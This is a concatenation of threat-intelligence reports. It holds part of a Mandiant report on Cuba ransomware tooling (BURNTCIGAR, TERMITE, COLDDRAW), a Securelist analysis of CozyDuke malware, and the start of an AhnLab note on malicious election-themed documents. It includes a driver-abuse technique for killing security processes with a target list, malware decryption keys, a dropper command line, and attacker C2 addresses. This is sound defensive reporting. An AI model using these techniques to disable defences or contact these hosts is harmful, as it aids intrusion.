The malware terminates targeted processes using the function DeviceIoControl to exploit the undocumented 0x9988C094 IOCTL code of the Avast driver, which calls ZwTerminateProcess with the given process identifier.
We have observed a batch script launcher that creates and starts a kernel service called aswSP_ArPot2 loading binary file C:\windows\temp\aswArPot.sys (legitimate Avast driver with SHA256 hash 4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1).
To deploy BURNTCIGAR at a victim, the actor brings their own copy of the vulnerable Avast driver and installs it at a service.
5/12 Executable Processes Killed by BURNTCIGAR SentinelHelperService.exe iptray.exe dsa-connect.exe SentinelServiceHost.exe ccSvcHst.exe ResponseService.exe SentinelStaticEngineScanner.exe sepWscSvc64.exe avp.exe SentinelAgent.exe SEPAgent.exe avpsus.exe SentinelAgentWorker.exe ssDVAgent.exe klnagent.exe SentinelUI.exe smcgui.exe vapm.exe SAVAdminService.exe PAUI.exe VsTskMgr.exe SavService.exe ClientManager.exe mfemms.exe SEDService.exe SBPIMSvc.exe mfeann.exe Alsvc.exe SBAMSvc.exe macmnsvc.exe SophosCleanM64.exe VipreNis.exe masvc.exe SophosFS.exe SBAMTray.exe macompatsvc.exe SophosFileScanner.exe RepMgr.exe UpdaterUI.exe SophosHealth.exe RepUtils.exe mfemactl.exe McsAgent.exe scanhost.exe McTray.exe McsClient.exe RepUx.exe cpda.exe SophosSafestore64.exe PccNtMon.exe IDAFServerHostService.exe SophosSafestore.exe svcGenericHost.exe epab_svc.exe SSPService.exe pccntmon.exe epam_svc.exe swc_service.exe HostedAgent.exe cptrayLogic.exe swi_service.exe tmlisten.exe EPWD.exe SophosUI.exe logWriter.exe FSAgentService.exe SophosNtpService.exe ntrtscan.exe RemediationService.exe hmpalert.exe TmCCSF.exe TESvc.exe SophosLiveQueryService.exe TMCPMAdapter.exe cptrayUI.exe SophosOsquery.exe coreServiceShell.exe EFRService.exe 6/12 Table 1: Processes Killed by BURNTCIGAR SophosFIMService.exe coreFrameworkHost.exe MBCloudEA.exe swi_fc.exe ds_monitor.exe MBAMService.exe SophosMTRExtension.exe CloudEndpointService.exe Endpoint Agent Tray.exe sdcservice.exe CETASvc.exe EAServiceMonitor.exe SophosCleanup.exe EndpointBasecamp.exe MsMpEng.exe Sophos UI.exe WSCommunicator.exe AvastSvc.exe SavApi.exe dsa.exe aswToolsSvc.exe sfc.exe Notifier.exe bcc.exe AvWrapper.exe WRSA.exe anet.exe bccavsvc.exe a.exe aus.exe AvastUI.exe COLDDRAW COLDDRAW is the name Mandiant uses to track the ransomware observed in Cuba Ransomware operations.
This ransomware appends the .cuba file extension to encrypted files.
When executed, it terminates services associated with common server applications and encrypts files on the local filesystem and attached network drives using an embedded RSA key.
Encrypted files are rewritten with a COLDDRAW-generated header prior to the encrypted file contents.
For large files, only the beginning and end of the file will be encrypted.
TERMITE TERMITE is a password-protected memory-only dropper which contains an encrypted shellcode payload.
Observed payloads have included BEACON, METASPLOIT stager, or BUGHATCH.
TERMITE requires the actor to specify the ClearMyTracksByProcess export and supply a password as a command line option to operate successfully (Figure 6).
Mandiant suspects that TERMITE may be available to multiple groups and is not exclusively used by UNC2596.
Figure 6: TERMITE command line execution Rundll32.exe c:\windows\temp\komar.dll,ClearMyTracksByProcess 11985756 Tracking TERMITE During UNC2596 intrusions involving COLDDRAW, the actors load tools and malware from web accessible systems that were also typically used for BEACON.
Over a period of approximately six months, Mandiant Advanced Practices tracked a TERMITE loader at hxxp://45.32.229[.
]66/new.dll which used the password 11985756 to decode various BEACON payloads.
Ongoing analysis of TERMITE payloads collected during this timeframe showed that TERMITE underwent modifications to evade detections.
UNC2596 also began using the TERMITE password 11985757 in October 2021.
CHANITOR Overlaps Mandiant has not responded to any intrusions where we have directly observed CHANITOR malware lead to COLDDRAW ransomware however, we have identified overlaps between CHANITOR-related operations and COLDDRAW incidents.
These include infrastructure overlaps, common code signing certificates, use of a shared packer, and naming similarities for domains, files, and URL paths, among others.
The code signing certificate with the Common Name FDFWJTORFQVNXQHFAH has been used to sign COLDDRAW payloads, as well as SENDSAFE payloads distributed by CHANITOR.
Mandiant has not observed the certificate used by other threat actors.
COLDDRAW payloads and SENDSAFE payloads distributed by CHANITOR have used a shared packer that we refer to as LONGFALL.
LONGFALL, which is also known as CryptOne, has been used with a variety of malware families.
https://advantage.mandiant.com/malware/malware--01557594-ac1c-5a17-8619-ae0c05508133 7/12 The WICKER stealer has been used in both CHANITOR-related post-exploitation activity and COLDDRAW incidents, including samples sharing the same command and control (CC) server.
Payloads distributed through CHANITOR and payloads identified in COLDDRAW ransomware incidents have masqueraded as the same legitimate applications including mDNSResponder and Java.
Public reporting has also highlighted some overlaps between COLDDRAW and ZEPPELIN, another ransomware that has reportedly been distributed via CHANITOR.
Implications As the number of vulnerabilities identified and publicly disclosed continues to increase year after year, Mandiant has also observed an increase in the use of vulnerabilities as an initial compromise vector by ransomware threat actors including utilizing both zero-day and n-day vulnerabilities in their activity notable examples include UNC2447 and FIN11.
Shifting towards vulnerabilities for initial access could offer threat actors more accurate targeting and higher success rates when compared to malicious email campaigns, which rely more on uncontrollable factors, such as victims interacting with malicious links or documents.
The rise in zero-day usage specifically could be reflective of significant funds and resources at the disposal of ransomware operators, which are being directed towards exploit research and development or the purchasing of exploits from trusted brokers.
However, threat actors do not have to use zero-days to be effective.
A subset of n-day vulnerabilities are often considered attractive targets for threat actors due to their impact of publicly exposed products, ability to facilitate code execution after successful exploitation, and the availability of significant technical details and/or exploit code in public venues.
As the number of vulnerabilities publicly disclosed continues to rise, we anticipate threat actors, including ransomware operators, to continue to exploit vulnerabilities in their operations.
Acknowledgements With thanks toThomas Pullen and Adrian Hernandez for technical research, and Nick Richard for technical review.
MITRE ATTCK Mandiant has observed COLDDRAW activity involving the following techniques in COLDDRAW intrusions: ATTCK Tactic Category Techniques Initial Access    T1190:        Exploit Public-Facing Application Discovery    T1010:        Application Window Discovery T1012:        Query Registry T1016:        System Network Configuration Discovery T1018:        Remote System Discovery T1033:        System Owner/User Discovery T1057:        Process Discovery T1082:        System Information Discovery T1083:        File and Directory Discovery T1087:        Account Discovery T1518:        Software Discovery Impact    T1486:        Data Encrypted for Impact T1489:        Service Stop Collection    T1056.001:    Keylogging T1074.002:    Remote Data Staging https://blog.group-ib.com/hancitor-cuba-ransomware https://www.mandiant.com/resources/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat https://advantage.mandiant.com/reports/22-00002779 8/12 Table 2: MITRE ATTCK Framework Defense Evasion    T1027:        Obfuscated Files or Information T1055:        Process Injection T1055.003:    Thread Execution Hijacking T1070.004:    File Deletion T1112:        Modify Registry T1134:        Access Token Manipulation T1134.001:    Token Impersonation/Theft T1140:        Deobfuscate/Decode Files or Information T1497.001:    System Checks T1553.002:    Code Signing T1564.003:    Hidden Window T1574.011:    Services Registry Permissions Weakness T1620:        Reflective Code Loading Persistence    T1098:        Account Manipulation T1136:        Create Account T1136.001:    Local Account T1543.003:    Windows Service Command and Control    T1071.001:    Web Protocols T1071.004:    DNS T1095:        Non-Application Layer Protocol T1105:        Ingress Tool Transfer T1573.002:    Asymmetric Cryptography Resource Development    T1583.003:    Virtual Private Server T1587.003:    Digital Certificates T1588.003:    Code Signing Certificates T1608.001:    Upload Malware T1608.002:    Upload Tool T1608.003:    Install Digital Certificate T1608.005:    Link Target Execution    T1053:        Scheduled Task/Job T1059:        Command and Scripting Interpreter T1059.001:    PowerShell T1129:        Shared Modules T1569.002:    Service Execution Lateral Movement    T1021.001:    Remote Desktop Protocol T1021.004:    SSH Credential Access    T1555.003:    Credentials from Web Browsers 9/12 Mandiant Security Validation In addition to previously released Actions, the Mandiant Security Validation (Validation) Behavior Research Team (BRT) has created VHR20220223, which will also be released today, for tactics associated with UNC2596.
A102-561, Malicious File Transfer - TERMITE, Download, Variant 3 A102-560, Malicious File Transfer - TERMITE, Download, Variant 4 A102-559, Command and Control - TERMITE, DNS Query, Variant 1 A102-558, Malicious File Transfer - WEDGECUT, Download, Variant 1 A102-557, Malicious File Transfer - TERMITE, Download, Variant 2 A102-556, Malicious File Transfer - TERMITE, Download, Variant 1 A102-555, Malicious File Transfer - BURNTCIGAR, Download, Variant 4 A102-554, Malicious File Transfer - BURNTCIGAR, Download, Variant 3 A102-553, Malicious File Transfer - BURNTCIGAR, Download, Variant 2 A102-552, Malicious File Transfer - BURNTCIGAR, Download, Variant 1 A102-572, Malicious File Transfer - BUGHATCH, Download, Variant 4 A102-551, Malicious File Transfer - BUGHATCH, Download, Variant 3 A102-550, Malicious File Transfer - BUGHATCH, Download, Variant 2 A102-549, Malicious File Transfer - BUGHATCH, Download, Variant 1 A101-830 Command and Control - COLDDRAW, DNS Query A101-831 Malicious File Transfer - COLDDRAW, Download, Variant 2 A101-832 Malicious File Transfer - COLDDRAW, Download, Variant 3 A101-833 Malicious File Transfer - COLDDRAW, Download, Variant 4 A101-834 Malicious File Transfer - COLDDRAW, Download, Variant 5 A101-835 Malicious File Transfer - COLDDRAW, Download, Variant 6 A104-800 Protected Theater - COLDDRAW, Execution A151-079 Malicious File Transfer - COLDDRAW, Download, Variant 1 A100-308 Malicious File Transfer - CHANITOR, Download A100-309 Command and Control - CHANITOR, Post System Info A150-008 Command and Control - CHANITOR, Check-in and Response A150-047 Malicious File Transfer - CHANITOR, Download, Variant 2 A150-306 Malicious File Transfer - CHANITOR, Download, Variant 1 YARA Signatures The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organizations own internal testing processes to ensure appropriate performance and limit the risk of false positives.
These rules are intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family changes.
10/12 rule TERMITE  meta: author  Mandiant strings: sb1   E8 [4] 3D 5?
E3 B6 00 7?
sb2   6B ?
?
0A [3] 83 E9 30 si1  VirtualAlloc fullword ss1  AUTO fullword condition: (uint16(0)  0x5A4D) and (uint32(uint32(0x3C))  0x00004550) and (uint16(uint32(0x3C)0x18)  0x010B) and all of them  rule FDFWJTORFQVNXQHFAH  meta: author  Mandiant description  Detecting packer or cert.
md5  939ab3c9a4f8eab524053e5c98d39ec9 strings: cert  FDFWJTORFQVNXQHFAH s1  VLstuTmAlanc s2   54 68 F5 73 20 70 00 00 00 00 00 00 00 BE 66 67 72 BD 68 20 63 BD 69 6E 6F C0 1F 62 65 EC 72 75 6E FC 6D 6E 20 50 46 53 20 B9 66 64 65 s3  ViGuuaGre s4  6seaIdFiYdA condition: (uint16(0)  0x5A4D) and filesize  2MB and ( cert or 2 of (s) )  Indicators MALWARE FAMILY Indicator TERMITE/BEACON irrislaha[.
]com BEACON leptengthinete[.
]com BEACON siagevewilin[.
]com BEACON surnbuithe[.
]com TERMITE 64.235.39[.
]82 BEACON 64.52.169[.
]174 11/12 Suspect certificate 144.172.83[.
]13 BEACON 190.114.254[.
]116 BEACON 185.153.199[.
]164 TERMITE 45.32.229[.
]66 BEACON 23.227.197[.
]229 Packer imphash 2322896bcde6c37bf4a87361b576de02 Packer cert CN FDFWJTORFQVNXQHFAH Packer cert md5 5c00466f092b19c85873848dcd472d6f MALWARE FAMILY MD5 SHA1 SHA256 BUGHATCH 72a60d799ae9e4f0a3443a2f96fb4896 a304497ff076348e098310f530779002a326c264 6d5ca42906c60caa7d3e0564b0 BUGHATCH bda33efc53c202c99c1e5afb3a13b30c e6ea0765b9a8cd255d587b92b2a80f96fab95f15 101b3147d404150b3c0c882ab86 BUGHATCH e78ed117f74fd7441cadc3ea18814b3e 6da8a4a32a4410742f626376cbec38986d307d5a 9ab05651daf9e8bf3c84b14613cd BUGHATCH ba83831700a73661f99d38d7505b5646 209ffbc8ba1e93167bca9b67e0ad3561c065595d 79d6b1b6b1ecb446b0f49772bf4 WEDGECUT c47372b368c0039a9085e2ed437ec720 4f6ee84f59984ff11147bfff67ab6e40cd7c8525 c443df1ddf8fd8a47af6fbfd0b597 BURNTCIGAR c5e3b725080712c175840c59a37a5daa f347fa07f13c3809e4d2d390e1d16ff91f6dc959 f68cea99e6887739cd82865f9b97 BURNTCIGAR c9d3b29e0b7662dafc6a1839ad54a6fb d0bbbc1866062f9a772776be6b7ef135d6c5e002 4306c5d152cdd86f3506f91633ef BURNTCIGAR 9ca2579117916ded7ac8272b7b47bb98 d1ef60835127e35154a04d0c7f65beee6e790e44 aeb044d310801d546d10b24716 BURNTCIGAR (launcher) 26c09228e76764a2002ba643afeb9415 8247880a1bad73caaeed25f670fc3dad1be0954a 6ce206a1e1224e0a9d296d5fabff TERMITE 98a2e05f4aa648b02540d2e17946da7e e328b5e26a04a13e80e60b4a0405512c99ddb74e 811bb84e1e9f59279f844a040bf6 TERMITE ddf2e657a89ae38f634c4a271345808b b73763c98523e544c0ce0da7db7142f1e039c0a2 d1e14b5f02fb020db4e215cb5c3a TERMITE 95820d16da2d9c4fbb07130639be2143 0a3ac9b182d8f14d9bc368d0c923270eed29b950 a722615c2ee101cde88c7f44fb2 TERMITE 896376ce1bbca1ed73a70341896023e0 f1be87ee03a2fb59d51cb4ba1fe2ece8ddfb5192 671e049f3e2f6b7851ca4e8eed2 TERMITE f51c4b21445a0ece50b1f920648ed726 7c88207ff1afe8674ba32bc20b597d833d8b594a ea5de5558396f66af8382afd98f2 TERMITE 7d4307d310ad151359b025fc5a7fca1a 49cfcecd50fcfcd3961b9d3f8fa896212b7a9527 ad12f38308a85c8792f2f7e1e46a TERMITE b62eec21d9443f8f66b87dd92ba34e85 172f28f61a35716762169d63f207071adf21a54c 9cec82bebe1637c50877ff11de5b TERMITE df0e5d91d0986fde9bc02db38eef5010 922ca12c04b064b35fd01daadf5266b8a2764c32 6cd25067316f8fe013792697f2f5 12/12 TERMITE 46b977a0838f4317425df0f2e1076451 39381976485fbe4719e4585f082a5252feedbcfd 13d333d5e3c1dd6c33dfa8fc76de TERMITE 8c4341a4bde2b6faa76405f57e00fc48 4f3a1e917f67293578b7e823bca35c4dff923386 df89d3d1f795a77eefc14f035681 TERMITE d5679f47d22c7c0647038ce6f54352e4 d9030bdbd0cb451788eaa176a032aa83cf7604c0 728a2d5dd2bf9c707431ff68e94c TERMITE e77af544cc9d163d81e78b3c4da2eee5 3ead9dd8c31d8cfb6cc53e96ec37bdcfdbbcce78 7f357ab4ac225e14a6967f89f209 TERMITE 98b2fff45a9474d61c1bd71b7a60712b 3b0ec4b6ad3cf558cac6b2c6e7d8024c438cfbc5 7b2144f2b5d722a1a8a0c47a43e TERMITE 9a0a2f1dc7686983843ee38d3cab448f 363dc3cf956ab2a7188cf0e44bffd9fba766097d 03249bf622c3ae1dbed8b14cfaa8 TERMITE fb6da2aa2aca0ce2e0af22b2c3ba2668 55b89bad1765bbf97158070fd5cbf9ea7d449e2a 1842ddc55b4bf9c71606451d404 COLDDRAW 3e96efd37777cc01cabb3401485297aa f008e568c313b6f41406658a77313f89df07017e bcf0f202db47ca671ed614604079 COLDDRAW 73c0f0904105b4c220c25f64506ea986 7ef1f5946b25f56a97e824602c58076e4b1c10b6 e35593fab92606448ac4cac6cd2 COLDDRAW 20a04e7fc12259dfd4172f5232ed5ccf 82f194e6baeef6eefb42f0685c49c1e6143ec850 482b160ee2e8d94fa6e4749f77e Exchange Payload test.hta becdcaa3a4d933c13427bb40f9c1cfbb ee883ec4b7b7c1eba7200ee2f9f3678f67257217 6c4b57fc995a037a0d60166dead BEACON c0e88dee5427aae6ce628b48a6d310a7 fd4c478f1561db6a9a0d7753741486b9075986d0 44a4ce7b5d2e154ec802a67ef14 BEACON bb2a2818e2e4514507462aadea01b3d7 8fec34209f79debcd9c03e6a3015a8e3d26336bb 6e66caaa12c3cafd1dc3f8c63053 BEACON 48f8cd5e42cdf06d5a520ab66a5ae576 0d0ac944b9c4589a998b5032d208a16e63db5817 d8df1a4d59a0382b367fd6936cce
4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 1/10 The CozyDuke APT - Securelist securelist.com  Updated Apr 21st, 2015 The CozyDuke APT CozyDuke (aka CozyBear, CozyCar or Office Monkeys) is a threat actor that became increasingly active in the 2nd half of 2014 and hit a variety of targets.
The White House and Department of State are two of the most spectacular known victims.
The operation presents several interesting aspects blatantly sensitive high profile victims and targets crypto and anti-detection capabilities strong malware functional and structural similarities mating this toolset to early MiniDuke second stage components, along with more recent CosmicDuke and OnionDuke components The actor often spearphishes targets with e-mails containing a link to a hacked website.
Sometimes it is a high profile, legitimate site such as diplomacy.pl, hosting a ZIP archive.
The ZIP archive contains a RAR SFX which installs the malware and shows an empty PDF decoy.
In other highly successful runs, this actor sends out phony flash videos directly as email attachments.
A clever example is Office Monkeys LOL Video.zip.
The executable within not only plays a flash video, but drops and runs another CozyDuke executable.
These videos are quickly passed around offices with delight while systems are infected in the background silently.
Many of this APTs components are signed with phony Intel and AMD digital certificates.
Recent Cozyduke APT activity attracted significant attention in the news: Sources: State Dept.
hack the worst ever White House computer network hacked Three Months Later, State Department Hasnt Rooted Out Hackers http://securelist.com/blog/69731/the-cozyduke-apt/ 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 2/10 Three Months Later, State Department Hasnt Rooted Out Hackers State Department shuts down its e-mail system amid concerns about hacking Lets examine a smattering of representative CozyDuke files and data.
There is much to their toolset.
Office Monkeys dropper analysis The droppers and spyware components often maintain fairly common characteristics 68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to temp 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague.
It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,338kb,player.exe,Trojan.
Win32.CozyBear.v,CompiledOn:2014.07.
02 21:13:33 The file collects system information, and then invokes a WMI instance in the root\securitycenter namespace to identify security products installed on the system, meaning that this code was built for x86 systems, wql here: SELECT  FROM AntiVirusProduct SELECT  FROM FireWallProduct The code hunts for several security products to evade: CRYSTAL KASPERSKY SOPHOS DrWeb AVIRA COMODO Dragon In addition to the WMI/wql use, it also hunts through the SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ registry key looking for security products to avoid.
Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates.
These files are stored within an 217kb encrypted cab file in the droppers resources under the name A.
The cab file was encrypted and decrypted using a simple xor cipher with a rotating 16 byte key: \x36\x11\xdd\x08\xac\x4b\x72\xf8\x51\x04\x68\x2e\x3e\x38\x64\x32.
The cab file is decompressed and its contents are created on disk.
These dropped files bundle functionality for both 64bit and 32bit Windows systems: C:\Documents and Settings\user\Application Data\ATI_Subsystem\ 6761106f816313394a653db5172dc487,54kb,amdhcp32.dll   32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,60kb,aticaldd.dll   64bit dll,CompiledOn:2014.07.02 21:13:26 bc626c8f11ed753f33ad1c0fe848d898,285kb,atiumdag.dll  32bit dll, 279kb, Trojan.
Win32.CozyDuke.a, CompiledOn:2014.07.02 21:13:26 4152e79e3dbde55dcf3fc2014700a022,6kb,racss.dat The code copies rundll32.exe from windows\system32 to its newly created appdata\ATI_Subsystem 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 3/10 The code copies rundll32.exe from windows\system32 to its newly created appdata\ATI_Subsystem subdirectory as amdocl_as32.exe alongside the three dlls listed above.
It runs atiumdag.dll with two parameter values, its only export and an arbitrary pid,  i.e.
: C:\Documents and Settings\user\Application Data\ATI_Subsystem\amdocl_as32.exe C:\Documents and Settings\user\Application Data\ATI_Subsystem\atiumdag.dll, ADL2_ApplicationProfiles_System_Reload 1684 This dll is built with anti-AV protections as well.
However, it looks for a different but overlapping set, and the random duplication suggests that this component was cobbled together with its dropper, partly regionally based on target selection.
KASPERSKY The code collects information about the system efd5aba3-6719-4655-8a72-1aa93feefa38C:\Documents and Settings\user\Application Data\ATI_Subsystem\amdocl_as32exeMyPCuserMicrosoft Windows XP 512600 SP 30 x32Admin192.60.11.1008:11:17:f2:9a:efSophos Anti-Virus Finally, this process beacons to www.sanjosemaristas.com, which appears to be a site that has been compromised and misused multiple times in the past couple of years.
hxxp://www.sanjosemaristas.com/app/index.php?A01BA0AD-9BB3-4F38-B76B-A00AD11CBAAA, providing the current network adapters service name GUID.
It uses standard Win32 base cryptography functions to generate a CALG_RC4 session key to encrypt the collected data communications and POSTs it to the server.
Executable-Signing Certificates Samples are usually signed with a fake certificate - weve seen two instances, one AMD and one Intel: Configuration files: Some of the malware uses an encrypted configuration file which is stored on disk as racss.dat.
This is encrypted by RC4, using key 0xb5, 0x78, 0x62, 0x52, 0x98, 0x3e, 0x24, 0xd7, 0x3b, 0xc6, 0xee, 0x7c, 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 4/10 0xb9, 0xed, 0x91, 0x62.
Heres how it looks decrypted: CCs: 121.193.130.170:443/wp-ajax.php 183.78.169.5:443/search.php 200.119.128.45:443/mobile.php 200.125.133.28:443/search.php 200.125.142.11:443/news.php 201.76.51.10:443/plugins/json.php 202.206.232.20:443/rss.php 202.76.237.216:443/search.php 203.156.161.49:443/plugins/twitter.php 208.75.241.246:443/msearch.php 209.40.72.2:443/plugins/fsearch.php 210.59.2.20:443/search.php 208.77.177.24:443/fsearch.php www.getiton.hants.org.uk:80/themes/front/img/ajax.php www.seccionpolitica.com.ar:80/galeria/index.php 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Second stage malware and communications: 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 5/10 The attackers send commands and new modules to be executed to the victims through the CCs.
The CC scripts store these temporarily until the next victim connects in local files.
Weve identified two such files: settings.db sdfg3d.db Heres how such a database file appears: These are BASE64 encoded and use the same RC4 encryption key as the malware configuration.
Decoding them resulted in the following payloads: 59704bc8bedef32709ab1128734aa846 ChromeUpdate.ex_ 5d8835982d8bfc8b047eb47322436c8a cmd_task.dll e0b6f0d368c81a0fb197774d0072f759 screenshot_task.dll Decoding them also resulted in a set of tasking files maintaining agent commands and parameter values: conf.xml And a set of reporting files, maintaining stolen system info, error output, and AgentInfo output, from victim systems: DCOM_amdocl_ld_API_.raw Util_amdave_System_.vol Last_amdpcom_Subsystem_.max Data_amdmiracast_API_.aaf 7.txt screenshot_task.dll is a 32-bit dll used to take a screenshot of the full desktop window and save it as a bitmap in temp.
The number of times the screenshot is repeated is configurable within the xml task file.
cmd_task.dll is a 32-bit dll that maintains several primitives.
It is used to create new processes, perform as a command line shell, and several other tasks.
Each of these payloads is delivered together with a configuration file that explains how to run it, for instance: 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 6/10 Furthermore, ChromeUpdate is a 64-bit executable (which appears to be a WEXTRACT package) that oddly drops a 32-bit Dll.
Cache.dll is simply stored as a cabinet file in the ChromeUpdates resource section.
ChromeUpdate.exe starts the file with rundll32 cache.dll,ADB_Setup Cache.dll analysis Cache.dll was written in C/C and built with a Microsoft compiler.
Cache.dll code flow overview rc4 decrypt hardcoded c2 and urls resolve hidden function calls collect identifying victim system data encrypt collected data send stolen data to c2 and retrieve commands Cache.dll code details Structurally, cache.dll is a fairly large backdoor at 425kb.
It maintains both code and data in the raw, encrypted blobs of data to be decrypted and used at runtime, and hidden functionality that isnt exposed until runtime.
No pdb/debug strings are present in the code.
It maintains eight exports, including DllMain: ADB_Add ADB_Cleanup ADB_Initnj ADB_Load ADB_Release ADB_Remove ADB_Setup ADB_Setup is a entry point that simply spawns another thread and waits for completion.
4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 7/10 Above, we see a new thread created with the start address of Cache.dll export  ADB_Load by the initial thread.
This exported function is passed control while the initial thread runs a Windows message loop.
It first grabs an encrypted blob stored away in a global variable and pulls out 381 bytes of this encrypted data: The standard win32 api CryptDecrypt uses rc4 to decrypt this blob into a hardcoded c2, url path, and url parameters listed below with a simple 140-bit key \x8B\xFF\x55\x8B\xEC\x83\xEC\x50\xA1\x84\x18\x03\x68\x33\xC9\x66\xF7\x45\x10\xE8\x1F\x89\x45\xF C\x8B\x45\x14\x56.
4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 8/10 The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office monkey atiumdag.dll component, this code collects identifying system information using standard win32 API calls: Computer name - GetComputerNameW User name - GetUserNameW Adapter GUID, ip address, mac address - GetAdaptersInfo Windows version - GetVersionExW It then uses the runtime resolved networking API calls to send the collected data back to a hardcoded c2 and set of urls.
Cache.dll connectback urls: 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Observed user-agent string on the wire, but its dynamically generated based on the Windows system settings (retrieved using standard win32 api ObtainUserAgentString): User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 9/10 3.0.04506.648 .NET CLR 3.5.21022) Connections with MiniDuke/CosmicDuke/OnionDuke: One of the second stage modules of Cozy Bear, Show.dll, is particularly interesting because it appears to have been built onto the same platform as OnionDuke.
Below we compare Show.dll with the OnionDuke sample MD5: c8eb6040fd02d77660d19057a38ff769.
Both have exactly the same export tables and appear to be called internally UserCache.dll: This seems to indicate the authors of OnionDuke and Cozy Bear are the same, or working together.
Another interesting comparison of two other files matches a recent second stage tool from the CozyDuke attacks with a second stage component from other Miniduke/Onionduke attacks.
2e0361fd73f60c76c69806205307ccac, update.dll (Miniduke), 425kb (internal name  UserCache.dll) 9e3f3b5e9ece79102d257e8cf982e09e, cache.dll (Cozyduke), 425kb (internal name  UserCache.dll) The two share identical export function names in their export directories, and the naming appears to be randomly assigned at compile time.
The table below presents the function matches based on size data, but the calls, jmps and code all match as well.
The contents of only one of these exports in update.dll has no match whatsoever in cache.dll.
4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3 10/10 Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web.
Terms of Service Privacy Policy Unlike the atiumdag.dll file above, however, cache.dll and update.dll do not maintain anti-AV and anti- analysis functionality sets.
Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality.
We expect ongoing and further activity from this group in the near future and variations on the malware used in previous duke-ish incidents.
For more information about MiniDuke, CosmicDuke and OnionDuke, please see References.
Appendix: Parallel and Previous Research The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor, Securelist, Feb 2013 Miniduke is back: Nemesis Gemina and the Botgen Studio, Securelist, July 2014 MiniDuke 2 (CosmicDuke), CrySyS, July 2014 COSMICDUKE Cosmu with a twist of MiniDuke [pdf], F-Secure, September 2014 THE CASE OF THE MODIFIED BINARIES, Leviathan Security, October 2014 A word on CosmicDuke, Blazes Security Blog, September 2014 OnionDuke: APT Attacks Via the Tor Network, F-Secure, November 2014 The Connections Between MiniDuke, CosmicDuke and OnionDuke, F-Secure, January 2015 https://evernote.com/tos/ https://evernote.com/privacy/
1/4 March 3, 2022 Distribution of malicious Hangul documents disguised as press releases for the 20th presidential election onboard voting asec.ahnlab.com/ko/32330 Ahead of the presidential election, the ASEC analysis team confirmed that malicious Korean documents disguised as press release on board the 20th presidential election were being distributed.
The attacker distributed the malicious Korean document on February 28th, and the malicious document was not secured, but according to the companys AhnLab Smart Defense (ASD) infrastructure log, it is estimated that the batch file is driven through the internal OLE object to execute PowerShell.
.
Distribution file name: Press release (220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conducted (final).hwp [Figure 1] shows the batch file path and Korean file name confirmed in the infrastructure.
While the same normal Korean document size is 2.06 MB, the malicious Korean document is 2.42 MB, and it seems that the document was created by inserting an additional BAT file inside.
[
